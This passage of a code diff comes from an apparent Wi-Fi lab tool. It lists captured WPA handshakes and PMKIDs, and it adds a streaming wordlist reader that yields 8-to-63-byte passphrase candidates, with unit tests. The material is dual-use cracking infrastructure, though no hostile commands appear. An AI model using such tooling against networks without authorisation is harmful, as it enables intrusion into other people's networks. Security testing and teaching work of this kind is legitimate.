156+ i + 1,
157+ hs.essid,
158+ hs.ap,
159+ hs.client,
160+ hs.key_ver
161+ ));
162+ }
163+ for (i, pm) in self.pmkids.iter().enumerate() {
164+ out.push(format!("#{:02} PMKID {} {}", i + 1, pm.essid, pm.ap));
165+ }
166+ out
167+ }
168+}
src/wordlist.rsmodified+88 -0
@@ -0,0 +1,88 @@
1+//! Streaming wordlist reader: line-oriented, bytes-accurate, filters to the
2+//! WPA passphrase length range 8..=63 bytes.
3+
4+use std::fs::File;
5+use std::io::{BufRead, BufReader};
6+use std::path::Path;
7+
8+use anyhow::{Context, Result};
9+
10+struct WordIter {
11+ lines: std::io::Lines<BufReader<File>>,
12+}
13+
14+impl Iterator for WordIter {
15+ type Item = Vec<u8>;
16+
17+ fn next(&mut self) -> Option<Vec<u8>> {
18+ loop {
19+ let line = match self.lines.next()? {
20+ Ok(l) => l,
21+ // Unreadable line (bad UTF-8 etc.): skip it, keep streaming.
22+ Err(_) => continue,
23+ };
24+ let bytes = line.into_bytes();
25+ if (8..=63).contains(&bytes.len()) {
26+ return Some(bytes);
27+ }
28+ }
29+ }
30+}
31+
32+/// Open a wordlist file as a streaming iterator of passphrase candidates.
33+///
34+/// Lines are trimmed of `\r\n` only (no whitespace trimming), and only
35+/// candidates of 8..=63 *bytes* are yielded. The iterator is `Send` and does
36+/// not load the file into memory.
37+pub fn open(path: &Path) -> Result<Box<dyn Iterator<Item = Vec<u8>> + Send>> {
38+ let f = File::open(path)
39+ .with_context(|| format!("opening wordlist {}", path.display()))?;
40+ let reader = BufReader::with_capacity(1 << 20, f);
41+ Ok(Box::new(WordIter {
42+ lines: reader.lines(),
43+ }))
44+}
45+
46+#[cfg(test)]
47+mod tests {
48+ use super::*;
49+ use std::io::Write;
50+
51+ #[test]
52+ fn filters_and_trims() {
53+ let dir = std::env::temp_dir();
54+ let path = dir.join(format!("wifilab-wordlist-test-{}", std::process::id()));
55+ {
56+ let mut f = File::create(&path).unwrap();
57+ // too short, ok, crlf ok, trailing space kept (too short when
58+ // counted), exactly 8, exactly 63, 64 too long, empty line.
59+ writeln!(f, "short").unwrap();
60+ writeln!(f, "sup3r-secret").unwrap();
61+ f.write_all(b"crlf-pass\r\n").unwrap();
62+ writeln!(f, "eight88 ").unwrap();
63+ writeln!(f, "eight888").unwrap();
64+ writeln!(f, "{}", "a".repeat(63)).unwrap();
65+ writeln!(f, "{}", "b".repeat(64)).unwrap();
66+ f.write_all(b"\n").unwrap();
67+ }
68+ let mut it = open(&path).unwrap();
69+ let got: Vec<Vec<u8>> = std::iter::from_fn(|| it.next()).collect();
70+ // "eight88 " keeps its trailing space: only \r\n is trimmed.
71+ assert_eq!(
72+ got,
73+ vec![
74+ b"sup3r-secret".to_vec(),
75+ b"crlf-pass".to_vec(),
76+ b"eight88 ".to_vec(),
77+ b"eight888".to_vec(),
78+ "a".repeat(63).into_bytes(),
79+ ]
80+ );
81+ let _ = std::fs::remove_file(&path);
82+ }
83+
84+ #[test]
85+ fn missing_file_errors() {
86+ assert!(open(Path::new("/definitely/not/here.lst")).is_err());
87+ }
88+}